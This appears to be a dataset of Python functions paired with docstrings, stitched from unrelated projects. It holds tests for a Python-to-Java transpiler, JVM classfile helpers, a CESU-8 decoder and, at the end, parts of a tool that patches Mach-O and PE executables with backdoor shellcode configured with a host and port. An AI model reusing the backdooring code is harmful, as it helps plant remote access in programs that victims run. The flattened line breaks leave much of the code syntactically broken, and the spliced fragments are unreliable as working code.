}\n }\n ', 'com/example/MyClass': '\n package com.example;\n\n public class MyClass extends MyBase {\n public static void static_method() {\n System.out.println("Hello from the class!");\n }\n }\n '}, out="\n Base class is <class 'com.example.MyBase'>\n Class is <class 'com.example.MyClass'>\n Static base method on superclass is <native function com.example.MyBase.base_static_method>\n Hello from the base!\n Static method on superclass is <native function com.example.MyBase.static_method>\n Goodbye from the base!\n Static base method is <native function com.example.MyBase.base_static_method>\n Hello from the base!\n Static method is <native function com.example.MyClass.static_method>\n Hello from the class!\n Base static method from superclass instance is <bound native method com.example.MyBase.base_static_method of <Native com.example.MyBase object at 0xXXXXXXXX>>\n Hello from the base!\n Static method from superclass instance is <bound native method com.example.MyBase.static_method of <Native com.example.MyBase object at 0xXXXXXXXX>>\n Goodbye from the base!\n Base static method from instance is <bound native method com.example.MyBase.base_static_method of <Native com.example.MyClass object at 0xXXXXXXXX>>\n Hello from the base!\n Static method from instance is <bound native method com.example.MyClass.static_method of <Native com.example.MyClass object at 0xXXXXXXXX>>\n Hello from the class!\n Done.\n ")
'Constants on an inner class can be accessed'
def test_inner_class_constant(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n print("Outer constant is", OuterClass.OUTER_CONSTANT)\n\n print("Inner class is", OuterClass.InnerClass)\n print("Inner constant is", OuterClass.InnerClass.INNER_CONSTANT)\n\n print("Done.")\n ', java={'com/example/OuterClass': '\n package com.example;\n\n public class OuterClass {\n public static final int OUTER_CONSTANT = 42;\n\n public static class InnerClass {\n public static final int INNER_CONSTANT = 37;\n }\n }\n '}, out="\n Outer class is <class 'com.example.OuterClass'>\n Outer constant is 42\n Inner class is <class 'com.example.OuterClass$InnerClass'>\n Inner constant is 37\n Done.\n ")
'Inner classes can be instantiated, and methods invoked'
def test_inner_class_method(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n obj1 = OuterClass()\n obj1.method()\n\n print("Inner class is", OuterClass.InnerClass)\n obj2 = OuterClass.InnerClass(obj1)\n obj2.method()\n\n print("Done.")\n ', java={'com/example/OuterClass': '\n package com.example;\n\n public class OuterClass {\n public class InnerClass {\n public void method() {\n System.out.println("Hello from the inside!");\n }\n }\n\n public void method() {\n System.out.println("Hello from the outside!");\n }\n }\n '}, out="\n Outer class is <class 'com.example.OuterClass'>\n Hello from the outside!\n Inner class is <class 'com.example.OuterClass$InnerClass'>\n Hello from the inside!\n Done.\n ")
'Constants on a static inner class can be accessed'
def test_static_inner_class_constant(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n print("Outer constant is", OuterClass.OUTER_CONSTANT)\n\n print("Inner class is", OuterClass.InnerClass)\n print("Inner constant is", OuterClass.InnerClass.INNER_CONSTANT)\n\n print("Done.")\n ', java={'com/example/OuterClass': '\n package com.example;\n\n public class OuterClass {\n public static final int OUTER_CONSTANT = 42;\n\n public static class InnerClass {\n public static final int INNER_CONSTANT = 37;\n }\n }\n '}, out="\n Outer class is <class 'com.example.OuterClass'>\n Outer constant is 42\n Inner class is <class 'com.example.OuterClass$InnerClass'>\n Inner constant is 37\n Done.\n ")
'Static inner classes can be instantiated, and methods invoked'
def test_static_inner_class_method(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n obj1 = OuterClass()\n obj1.method()\n\n print("Inner class is", OuterClass.InnerClass)\n obj2 = OuterClass.InnerClass()\n obj2.method()\n\n print("Done.")\n ', java={'com/example/OuterClass': '\n package com.example;\n\n public class OuterClass {\n public static class InnerClass {\n public void method() {\n System.out.println("Hello from the inside!");\n }\n }\n\n public void method() {\n System.out.println("Hello from the outside!");\n }\n }\n '}, out="\n Outer class is <class 'com.example.OuterClass'>\n Hello from the outside!\n Inner class is <class 'com.example.OuterClass$InnerClass'>\n Hello from the inside!\n Done.\n ")
'Primitive types are converted correctly'
def test_primitive_conversion(self):
self.assertJavaExecution('\n from com.example import MyObject\n\n obj = MyObject()\n\n result = obj.method(3)\n print(\'Result is\', result)\n\n result = obj.method(3.14159)\n print(\'Result is\', result)\n\n result = obj.method(True)\n print(\'Result is\', result)\n\n print("Done.")\n ', java={'com/example/MyObject': '\n package com.example;\n\n public class MyObject {\n public int method(int x) {\n System.out.println("Hello from int method: " + x);\n return x * 2;\n }\n\n public float method(float x) {\n System.out.println("Hello from float method: " + x);\n return x * 2.5f;\n }\n\n public boolean method(boolean x) {\n System.out.println("Hello from boolean method: " + x);\n return !x;\n }\n }\n '}, out='\n Hello from int method: 3\n Result is 6\n Hello from float method: 3.14159\n Result is 7.853975296020508\n Hello from boolean method: true\n Result is False\n Done.\n ')
'Primitive representations of \'false\' values are converted correctly'
def test_primitive_zero_conversion(self):
self.assertJavaExecution('\n from com.example import MyObject\n\n obj = MyObject()\n\n result = obj.method(0)\n print(\'Result is\', result)\n\n result = obj.method(0.0)\n print(\'Result is\', result)\n\n result = obj.method(False)\n print(\'Result is\', result)\n\n print("Done.")\n ', java={'com/example/MyObject': '\n package com.example;\n\n public class MyObject {\n public int method(int x) {\n System.out.println("Hello from int method: " + x);\n return x * 2;\n }\n\n public float method(float x) {\n System.out.println("Hello from float method: " + x);\n return x * 2.5f;\n }\n\n public boolean method(boolean x) {\n System.out.println("Hello from boolean method: " + x);\n return !x;\n }\n }\n '}, out='\n Hello from int method: 0\n Result is 0\n Hello from float method: 0.0\n Result is 0.0\n Hello from boolean method: false\n Result is True\n Done.\n ')
'You can implement (and use) a native Java interface'
def test_implement_interface(self):
self.assertJavaExecution('\n from java.lang import StringBuilder\n\n class MyStringAnalog(implements=java.lang.CharSequence):\n def __init__(self, value):\n self.value = value\n\n def charAt(self, index: int) -> char:\n return \'x\'\n\n def length(self) -> int:\n return len(self.value)\n\n def subSequence(self, start: int, end: int) -> java.lang.CharSequence:\n return MyStringAnalog(self.value[start:end])\n\n def toString(self) -> java.lang.String:\n return len(self.value) * \'x\'\n\n analog = MyStringAnalog("world")\n\n builder = StringBuilder()\n\n builder.append("Hello, ")\n builder.append(analog)\n\n print(builder)\n print("Done.")\n ', '\n Hello, xxxxx\n Done.\n ', run_in_function=False)
'You can implement (and use) a native Java interface defined as an inner class'
def test_implement_inner_interface(self):
self.assertJavaExecution('\n from com.example import View\n\n class MyHandler(implements=com.example.View[Handler]):\n def event(self, view: com.example.View, name: java.lang.String) -> void:\n print("My handler for a", name, "event on", view)\n\n view = View()\n\n handler = MyHandler()\n\n view.setHandler(handler)\n\n view.doEvent("Stuff")\n\n print("Done.")\n ', java={'com/example/View': '\n package com.example;\n\n public class View {\n public static interface Handler {\n public void event(View v, String event);\n }\n\n Handler handler;\n\n public void setHandler(Handler h) {\n System.out.println("Set handler to " + h);\n this.handler = h;\n }\n\n public void doEvent(String name) {\n System.out.println("Do event " + name);\n this.handler.event(this, name);\n System.out.println("Event done.");\n }\n\n public String toString() {\n return "Java View";\n }\n }\n '}, out='\n Set handler to <MyHandler object at 0xXXXXXXXX>\n Do event Stuff\n My handler for a Stuff event on Java View\n Event done.\n Done.\n ', run_in_function=False)
'Test input can be stripped of leading spaces.'
def test_adjust(self):
self.assertEqual("for i in range(0, 10):\n print('hello, world')\nprint('Done.')\n", adjust("\n for i in range(0, 10):\n print('hello, world')\n print('Done.')\n "))
'You can supply Java code and use it from within Python'
def test_java_code(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n obj = MyClass()\n\n obj.doStuff()\n\n print("Done.")\n ', java={'com/example/MyClass': '\n package com.example;\n\n public class MyClass {\n public void doStuff() {\n System.out.println("Hello from Java");\n }\n }\n '}, out='\n Hello from Java\n Done.\n ')
'Evaluate the maximum stack depth required by a sequence of Java opcodes'
def stack_depth(self):
depth = 0 max_depth = 0 for opcode in self.opcodes: depth = (depth + opcode.stack_effect) if (depth > max_depth): max_depth = depth return max_depth
'Whether the block has nested structures inside.'
@property def has_nested_structure(self):
return any([self.blocks, self.loops, self.try_catches])
'Tweak the bytecode generated for this block.'
def visitor_setup(self):
pass
'Tweak the bytecode generated for this block.'
def visitor_teardown(self):
pass
'Create a JavaCode object representing the opcodes stored in the block May raise ``IgnoreBlock`` if the block should be ignored.'
def transpile_code(self):
yield_jumps = Accumulator() for (i, yield_point) in enumerate(self.yield_points): yield_jumps.add_opcodes(ALOAD_index(self.local_vars['<generator>']), JavaOpcodes.GETFIELD('org/python/types/Generator', 'yield_point', 'I'), ICONST_val((i + 1)), jump(JavaOpcodes.IF_ICMPEQ(0), self, yield_point, OpcodePosition.YIELD)) self.opcodes = (yield_jumps.opcodes + self.opcodes) init_vars = Accumulator() for i in range((len(self.parameters) + (1 if self.has_self else 0)), (len(self.active_local_vars) + len(self.deleted_vars))): init_vars.add_opcodes(JavaOpcodes.ACONST_NULL(), ASTORE_index(i)) self.opcodes = (init_vars.opcodes + self.opcodes) for (target, references) in self.unknown_jump_targets.items(): for (opcode, position) in references: resolve_jump(opcode, self, target, position) if self.can_ignore_empty: if ((len(self.opcodes) == 1) and isinstance(self.opcodes[0], JavaOpcodes.RETURN)): raise IgnoreBlock() elif ((len(self.opcodes) == 2) and isinstance(self.opcodes[1], JavaOpcodes.ARETURN)): raise IgnoreBlock() offset = 0 for (index, instruction) in enumerate(self.opcodes): instruction.java_index = index instruction.java_offset = offset offset += len(instruction) if (offset > 65534): raise BlockCodeTooLarge(offset) exceptions = [] for try_catch in self.try_catches: for handler in try_catch.handlers: if handler.descriptors: for descriptor in handler.descriptors: exceptions.append(JavaExceptionInfo(try_catch.start_op.java_offset, try_catch.try_end_op.java_offset, handler.start_op.java_offset, descriptor)) else: exceptions.append(JavaExceptionInfo(try_catch.start_op.java_offset, try_catch.try_end_op.java_offset, handler.start_op.java_offset, 'org/python/exceptions/BaseException')) if try_catch.finally_handler: exceptions.append(JavaExceptionInfo(try_catch.start_op.java_offset, try_catch.try_end_op.java_offset, try_catch.finally_handler.start_op.java_offset, None)) for handler in try_catch.handlers: exceptions.append(JavaExceptionInfo(handler.start_op.java_offset, handler.end_op.java_offset, try_catch.finally_handler.start_op.java_offset, None)) for jmp in self.jumps: try: jmp.offset = (jmp.jump_op.java_offset - jmp.java_offset) except AttributeError: jmp.offset = (jmp.jump_op.start_op.java_offset - jmp.java_offset) line_numbers = [] for opcode in self.opcodes: if (opcode.starts_line is not None): line_numbers.append((opcode.java_offset, opcode.starts_line)) line_number_table = LineNumberTable(line_numbers) return JavaCode(max_stack=self.max_stack(exceptions), max_locals=self.max_locals(), code=self.opcodes, exceptions=exceptions, attributes=[line_number_table])
'Convert a materialized Python code definition into a list of Java Classfile definitions. Returns a list of triples: (namespace, class_name, javaclassfile) The list contains the classfile for the module, plus and classes defined in the module.'
def transpile(self):
classfile = JavaClass(self.class_descriptor, extends='org/python/types/Module') classfile.attributes.append(JavaSourceFile(os.path.basename(self.sourcefile))) static_init = JavaMethod('module$import', '()V', public=False) static_init.attributes.append(self.transpile_code()) classfile.methods.append(static_init) classfile.methods.append(JavaMethod('<init>', '()V', attributes=[JavaCode(max_stack=1, max_locals=1, code=[JavaOpcodes.ALOAD_0(), JavaOpcodes.INVOKESPECIAL('org/python/types/Module', '<init>', args=[], returns='V'), JavaOpcodes.RETURN()])])) new_method = Accumulator({'self': 0, 'klass': 1}) new_method.add_opcodes(ALOAD_name('self'), ALOAD_name('klass'), JavaOpcodes.INVOKESPECIAL('org/python/types/Module', '__new__', args=['Lorg/python/Object;'], returns='Lorg/python/Object;'), ALOAD_name('self'), JavaOpcodes.GETFIELD('org/python/types/Object', '__dict__', 'Ljava/util/Map;'), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__file__'), python.Str(self.sourcefile), java.Map.put(), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__package__'), python.Str(self.name), java.Map.put(), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__name__'), python.Str(self.full_name), java.Map.put(), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__builtins__'), python.NONE(), java.Map.put(), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__cached__'), python.NONE(), java.Map.put(), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__doc__'), python.NONE(), java.Map.put(), JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__loader__'), python.Str(), java.Map.put()) if (sys.hexversion > 50724864): new_method.add_opcodes(JavaOpcodes.DUP(), JavaOpcodes.LDC_W('__annotations__'), python.Dict(), java.Map.put()) new_method.add_opcodes(JavaOpcodes.LDC_W('__spec__'), python.Str(), java.Map.put(), JavaOpcodes.ARETURN()) classfile.methods.append(JavaMethod('__new__', '(Lorg/python/Object;)Lorg/python/Object;', attributes=[JavaCode(max_stack=new_method.max_stack(), max_locals=new_method.max_locals(), code=new_method.opcodes)])) for function in self.functions: classfile.methods.extend(function.transpile()) classfiles = [(self.namespace, (self.name + ('/__init__' if self.has_init_file else '')), classfile)] for klass in self.classes: classfiles.append(klass.transpile()) return classfiles
'The value of the attributes_count item indicates the number of additional attributes (§4.7) of this field.'
@property def attributes_count(self):
return len(self.attributes)
'The value of the access_flags item is a mask of flags used to denote access permission to and properties of this field. The interpretation of each flag, when set, is as shown in Table 4.4. All bits of the access_flags item not assigned in Table 4.4 are reserved for future use. They should be set to zero in generated class files and should be ignored by Java Virtual Machine implementations.'
@property def access_flags(self):
return (((((((((self.ACC_PUBLIC if self.public else 0) | (self.ACC_PRIVATE if self.private else 0)) | (self.ACC_PROTECTED if self.protected else 0)) | (self.ACC_STATIC if self.static else 0)) | (self.ACC_FINAL if self.final else 0)) | (self.ACC_VOLATILE if self.volatile else 0)) | (self.ACC_TRANSIENT if self.transient else 0)) | (self.ACC_SYNTHETIC if self.synthetic else 0)) | (self.ACC_ENUM if self.enum else 0))
'The value of the constant_pool_count item is equal to the number of entries in the constant_pool table plus one. A constant_pool index is considered valid if it is greater than zero and less than constant_pool_count, with the exception for constants of type long and double noted in §4.4.5.'
@property def count(self):
return (len(self._constant_pool) + 1)
'A specific instance initialization method (§2.9) may have at most one of its ACC_PRIVATE, ACC_PROTECTED, and ACC_PUBLIC flags set, and may also have its ACC_STRICT, ACC_VARARGS and ACC_SYNTHETIC flags set, but must not have any of the other flags in Table 4.5 set. Class and interface initialization methods (§2.9) are called implicitly by the Java Virtual Machine. The value of their access_flags item is ignored except for the setting of the ACC_STRICT flag. All bits of the access_flags item not assigned in Table 4.5 are reserved for future use. They should be set to zero in generated class files and should be ignored by Java Virtual Machine implementations.'
@property def access_flags(self):
return ((((((((((((self.ACC_PUBLIC if self.public else 0) | (self.ACC_PRIVATE if self.private else 0)) | (self.ACC_PROTECTED if self.protected else 0)) | (self.ACC_STATIC if self.static else 0)) | (self.ACC_FINAL if self.final else 0)) | (self.ACC_SYNCHRONIZED if self.synchronized else 0)) | (self.ACC_BRIDGE if self.bridge else 0)) | (self.ACC_VARARGS if self.varargs else 0)) | (self.ACC_NATIVE if self.native else 0)) | (self.ACC_ABSTRACT if self.abstract else 0)) | (self.ACC_STRICT if self.strict else 0)) | (self.ACC_SYNTHETIC if self.synthetic else 0))
'Decode the bytes 0xc0 0x80 as U+0000, like Java does.'
def _buffer_decode_null(self, input, errors, final):
nextbyte = input[1:2] if (nextbyte == ''): if final: return super()._buffer_decode(input, errors, final) else: return (u'', 0) elif (nextbyte == '\x80'): return (u'\x00', 2) else: return super()._buffer_decode('\xc0', errors, True)
'When we have improperly encoded surrogates, we can still see the bits that they were meant to represent. The surrogates were meant to encode a 20-bit number, to which we add 0x10000 to get a codepoint. That 20-bit number now appears in this form: 11101101 1010abcd 10efghij 11101101 1011klmn 10opqrst The CESU8_RE above matches byte sequences of this form. Then we need to extract the bits and assemble a codepoint number from them.'
def _buffer_decode_surrogates(self, input, errors, final):
if (len(input) < 6): if final: return super()._buffer_decode(input, errors, final) else: return (u'', 0) elif CESU8_RE.match(input): bytenums = input[:6] codepoint = ((((((bytenums[1] & 15) << 16) + ((bytenums[2] & 63) << 10)) + ((bytenums[4] & 15) << 6)) + (bytenums[5] & 63)) + 65536) return (chr(codepoint), 6) else: return super()._buffer_decode(input[:3], errors, False)
'The value of the code_length item gives the number of bytes in the code array for this method. The value of code_length must be greater than zero; the code array must not be empty.'
@property def code_length(self):
return sum((len(opcode) for opcode in self.code))
'The value of the exception_table_length item gives the number of entries in the exception_table table.'
@property def exception_table_length(self):
return len(self.exception_table)
'The value of the attributes_count item indicates the number of attributes of the Code attribute.'
@property def attributes_count(self):
return len(self.attributes)
'The value of the number_of_entries item gives the number of # stack_map_frame entries in the entries table.'
@property def number_of_entries(self):
return len(self.entries)
'The value of the line_number_table_length item indicates the number of entries in the line_number_table array.'
@property def line_number_table_length(self):
return len(self.line_number_table)
'The value of the local_variable_table_length item indicates the number of entries in the line_number_table array.'
@property def local_variable_table_length(self):
return len(self.line_number_table)
'The value of the num_annotations item gives the number of run-time- visible annotations represented by the structure. Note that a maximum of 65535 run-time-visible Java programming language annotations may be directly attached to a program element.'
@property def num_annotations(self):
return len(self.annotations)
'The value of the num_element_value_pairs item gives the number of element-value pairs of the annotation represented by this annotation structure. Note that a maximum of 65535 element-value pairs may be contained in a single annotation.'
@property def num_element_value_pairs(self):
return len(self.element_value_pairs)
'The value of the num_values item gives the number of elements in the array-typed value represented by this element_value structure. Note that a maximum of 65535 elements are permitted in an array-typed element value.'
@property def num_values(self):
return len(self.values)
'The value of the num_annotations item gives the number of run-time- visible annotations represented by the structure. Note that a maximum of 65535 run-time-visible Java programming language annotations may be directly attached to a program element.'
@property def num_annotations(self):
return len(self.annotations)
'The Engine'
def run_this(self):
self.bin = open(self.FILE, 'r+b') self.supported = '' if (self.SUPPORT_CHECK is True): if (not self.FILE): print 'You must provide a file to see if it is supported (-f)' return False try: self.support_check() except Exception as e: print 'Exception:', str(e), ('%s' % self.FILE) if (self.supported is False): print ('%s is not supported.' % self.FILE) return False else: print ('%s is supported.' % self.FILE) return True self.support_check() result = self.patch_macho() return result
'Output file check.'
def output_options(self):
if (not self.OUTPUT): self.OUTPUT = os.path.basename(self.FILE)
'This function sets the shellcode.'
def set_shells(self, MagicNumber):
print '[*] Looking for and setting selected shellcode' avail_shells = [] self.bintype = False if (MagicNumber == '0xfeedface'): self.bintype = macho_intel32_shellcode elif (MagicNumber == '0xfeedfacf'): self.bintype = macho_intel64_shellcode if (not self.SHELL): print 'You must choose a backdoor to add: ' for item in dir(self.bintype): if ('__' in item): continue elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)): continue else: print ' {0}'.format(item) return False if (self.SHELL not in dir(self.bintype)): print ('The following %ss are available:' % str(self.bintype).split('.')[1]) for item in dir(self.bintype): if ('__' in item): continue elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)): continue else: print ' {0}'.format(item) avail_shells.append(item) self.avail_shells = avail_shells return False self.shells = self.bintype(self.HOST, self.PORT, self.jumpLocation, self.SUPPLIED_SHELLCODE, self.BEACON) self.allshells = getattr(self.shells, self.SHELL)() self.shellcode = self.shells.returnshellcode() return self.shellcode
'This function grabs necessary data for the mach-o format'
def get_structure(self):
self.binary_header = self.bin.read(4) if (self.binary_header == '\xca\xfe\xba\xbe'): print '[*] Fat File detected' self.FAT_FILE = True ArchNo = struct.unpack('>I', self.bin.read(4))[0] for arch in range(ArchNo): self.fat_hdrs[arch] = self.fat_header() for (hdr, value) in self.fat_hdrs.iteritems(): if (int(value['CPU Type'], 16) in self.supported_CPU_TYPES): self.bin.seek(int(value['Offset'], 16), 0) self.mach_hdrs[hdr] = self.mach_header() self.load_cmds[hdr] = self.parse_loadcommands(self.mach_hdrs[hdr]) if (self.mach_hdrs is False): return False else: self.bin.seek(0) self.mach_hdrs[0] = self.mach_header() self.load_cmds[0] = self.parse_loadcommands(self.mach_hdrs[0])
'This method returns a dict with commands that we need for mach-o patching'
def find_Needed_Items(self, theCmds):
_tempDict = {} text_segment = {} text_section = {} LC_MAIN = {} LC_UNIXTREAD = {} LC_CODE_SIGNATURE = {} LC_DYLIB_CODE_SIGN_DRS = {} locationInFIle = 0 last_cmd = 0 for item in theCmds: locationInFIle = item['LOCInFIle'] if ((item['DATA'][0:6] == '__TEXT') and (item['Command'] == 1)): text_segment = {'segname': item['DATA'][0:16], 'VMAddress': item['DATA'][16:20], 'VMSize': item['DATA'][20:24], 'File Offset': item['DATA'][24:28], 'File Size': item['DATA'][28:32], 'MaxVMProt': item['DATA'][32:36], 'InitalVMProt': item['DATA'][36:40], 'NumberOfSections': item['DATA'][40:44], 'Flags': item['DATA'][44:48]} count = struct.unpack('<I', text_segment['NumberOfSections'])[0] i = 0 while (count > 0): if ('__text' in item['DATA'][(48 + i):(64 + i)]): text_section = {'sectionName': item['DATA'][(48 + i):(64 + i)], 'segmentName': item['DATA'][(64 + i):(80 + i)], 'Address': item['DATA'][(80 + i):(84 + i)], 'LOCAddress': ((locationInFIle + 80) + i), 'Size': item['DATA'][(84 + i):(88 + i)], 'LOCTextSize': ((locationInFIle + 84) + i), 'Offset': item['DATA'][(88 + i):(92 + i)], 'LocTextOffset': ((locationInFIle + 88) + i), 'Alignment': item['DATA'][(92 + i):(96 + i)], 'Relocations': item['DATA'][(96 + i):(100 + i)], 'NumberOfRelocs': item['DATA'][(100 + i):(104 + i)], 'Flags': item['DATA'][(104 + i):(108 + i)], 'Reserved1': item['DATA'][(108 + i):(112 + i)], 'Reserved2': item['DATA'][(112 + i):(116 + i)]} break else: count -= 1 i += 64 elif ((item['DATA'][0:6] == '__TEXT') and (item['Command'] == 25)): text_segment = {'segname': item['DATA'][0:16], 'VMAddress': item['DATA'][16:24], 'VMSize': item['DATA'][24:32], 'File Offset': item['DATA'][32:40], 'File Size': item['DATA'][40:48], 'MaxVMProt': item['DATA'][48:52], 'InitalVMProt': item['DATA'][52:56], 'NumberOfSections': item['DATA'][56:60], 'Flags': item['DATA'][60:64]} count = struct.unpack('<I', text_segment['NumberOfSections'])[0] i = 0 while (count > 0): if ('__text' in item['DATA'][(64 + i):(80 + i)]): text_section = {'sectionName': item['DATA'][(64 + i):(80 + i)], 'segmentName': item['DATA'][(80 + i):(96 + i)], 'Address': item['DATA'][(96 + i):(104 + i)], 'LOCAddress': ((locationInFIle + 96) + i), 'Size': item['DATA'][(104 + i):(112 + i)], 'LOCTextSize': ((locationInFIle + 104) + i), 'Offset': item['DATA'][(112 + i):(116 + i)], 'LocTextOffset': ((locationInFIle + 112) + i), 'Alignment': item['DATA'][(116 + i):(120 + i)], 'Relocations': item['DATA'][(120 + i):(124 + i)], 'NumberOfRelocs': item['DATA'][(124 + i):(128 + i)], 'Flags': item['DATA'][(128 + i):(132 + i)], 'Reserved1': item['DATA'][(132 + i):(136 + i)], 'Reserved2': item['DATA'][(136 + i):(140 + i)], 'Reserved3': item['DATA'][(140 + i):(144 + i)]} break else: count -= 1 i += 76 if (item['Command'] == 2147483688): LC_MAIN = {'LOCEntryOffset': locationInFIle, 'EntryOffset': item['DATA'][0:8], 'StackSize': item['DATA'][8:22]} elif ((item['Command'] == 5) and (struct.unpack('<I', item['DATA'][0:4])[0] == 1)): LC_UNIXTREAD = {'LOCEntryOffset': locationInFIle, 'Flavor': item['DATA'][0:4], 'Count': item['DATA'][4:8], 'eax': item['DATA'][8:12], 'ebx': item['DATA'][12:16], 'ecx': item['DATA'][16:20], 'edx': item['DATA'][20:24], 'edi': item['DATA'][24:28], 'esi': item['DATA'][28:32], 'ebp': item['DATA'][32:36], 'esp': item['DATA'][36:40], 'ss': item['DATA'][40:44], 'eflags': item['DATA'][44:48], 'LOCeip': (locationInFIle + 48), 'eip': item['DATA'][48:52], 'cs': item['DATA'][52:56], 'ds': item['DATA'][56:60], 'es': item['DATA'][60:64], 'fs': item['DATA'][64:68], 'gs': item['DATA'][68:72]} elif ((item['Command'] == 5) and (struct.unpack('<I', item['DATA'][0:4])[0] == 4)): LC_UNIXTREAD = {'LOCEntryOffset': locationInFIle, 'Flavor': item['DATA'][0:4], 'Count': item['DATA'][4:8], 'rax': item['DATA'][8:16], 'rbx': item['DATA'][16:24], 'rcx': item['DATA'][24:32], 'rdx': item['DATA'][32:40], 'rdi': item['DATA'][40:48], 'rsi': item['DATA'][48:56], 'rbp': item['DATA'][56:64], 'rsp': item['DATA'][64:72], 'r8': item['DATA'][72:80], 'r9': item['DATA'][80:88], 'r10': item['DATA'][88:96], 'r11': item['DATA'][96:104], 'r12': item['DATA'][104:112], 'r13': item['DATA'][112:120], 'r14': item['DATA'][120:128], 'r15': item['DATA'][128:136], 'LOCrip': (locationInFIle + 136), 'rip': item['DATA'][136:144], 'rflags': item['DATA'][144:152], 'cs': item['DATA'][152:160], 'fs': item['DATA'][160:168], 'gs': item['DATA'][168:176]} if (item['Command'] == 29): LC_CODE_SIGNATURE = {'Data Offset': item['DATA'][0:4], 'Data Size': item['DATA'][0:8]} if (item['Command'] == 43): LC_DYLIB_CODE_SIGN_DRS = {'Data Offset': item['DATA'][0:4], 'Data Size': item['DATA'][0:8]} if (item['last_cmd'] > last_cmd): last_cmd = item['last_cmd'] _tempDict = {'text_segment': text_segment, 'text_section': text_section, 'LC_MAIN': LC_MAIN, 'LC_UNIXTREAD': LC_UNIXTREAD, 'LC_CODE_SIGNATURE': LC_CODE_SIGNATURE, 'LC_DYLIB_CODE_SIGN_DRS': LC_DYLIB_CODE_SIGN_DRS, 'last_cmd': last_cmd} return _tempDict
'Gathers necessary PE header information to backdoor a file and returns a dict of file information called flItms. Takes a open file handle of self.binary'
def gather_file_info_win(self):
self.binary.seek(int('3C', 16)) print '[*] Gathering file info' self.flItms['filename'] = self.FILE self.flItms['buffer'] = 0 self.flItms['JMPtoCodeAddress'] = 0 self.flItms['LocOfEntryinCode_Offset'] = self.DISK_OFFSET self.flItms['dis_frm_pehdrs_sectble'] = 248 self.flItms['pe_header_location'] = struct.unpack('<i', self.binary.read(4))[0] self.flItms['COFF_Start'] = (self.flItms['pe_header_location'] + 4) self.binary.seek(self.flItms['COFF_Start']) self.flItms['MachineType'] = struct.unpack('<H', self.binary.read(2))[0] if (self.VERBOSE is True): for (mactype, name) in MachineTypes.iteritems(): if (int(mactype, 16) == self.flItms['MachineType']): print 'MachineType is:', name self.binary.seek((self.flItms['COFF_Start'] + 2), 0) self.flItms['NumberOfSections'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['TimeDateStamp'] = struct.unpack('<I', self.binary.read(4))[0] self.binary.seek((self.flItms['COFF_Start'] + 16), 0) self.flItms['SizeOfOptionalHeader'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['Characteristics'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['OptionalHeader_start'] = (self.flItms['COFF_Start'] + 20) self.binary.seek(self.flItms['OptionalHeader_start']) self.flItms['Magic'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['MajorLinkerVersion'] = struct.unpack('!B', self.binary.read(1))[0] self.flItms['MinorLinkerVersion'] = struct.unpack('!B', self.binary.read(1))[0] self.flItms['SizeOfCode'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfInitializedData'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfUninitializedData'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['AddressOfEntryPoint'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['BaseOfCode'] = struct.unpack('<I', self.binary.read(4))[0] if (self.flItms['Magic'] != 523): self.flItms['BaseOfData'] = struct.unpack('<I', self.binary.read(4))[0] if (self.flItms['Magic'] == 523): self.flItms['ImageBase'] = struct.unpack('<Q', self.binary.read(8))[0] else: self.flItms['ImageBase'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SectionAlignment'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['FileAlignment'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['MajorOperatingSystemVersion'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['MinorOperatingSystemVersion'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['MajorImageVersion'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['MinorImageVersion'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['MajorSubsystemVersion'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['MinorSubsystemVersion'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['Win32VersionValue'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfImageLoc'] = self.binary.tell() self.flItms['SizeOfImage'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfHeaders'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['CheckSum'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['Subsystem'] = struct.unpack('<H', self.binary.read(2))[0] self.flItms['DllCharacteristics'] = struct.unpack('<H', self.binary.read(2))[0] if (self.flItms['Magic'] == 523): self.flItms['SizeOfStackReserve'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['SizeOfStackCommit'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['SizeOfHeapReserve'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['SizeOfHeapCommit'] = struct.unpack('<Q', self.binary.read(8))[0] else: self.flItms['SizeOfStackReserve'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfStackCommit'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfHeapReserve'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['SizeOfHeapCommit'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['LoaderFlags'] = struct.unpack('<I', self.binary.read(4))[0] 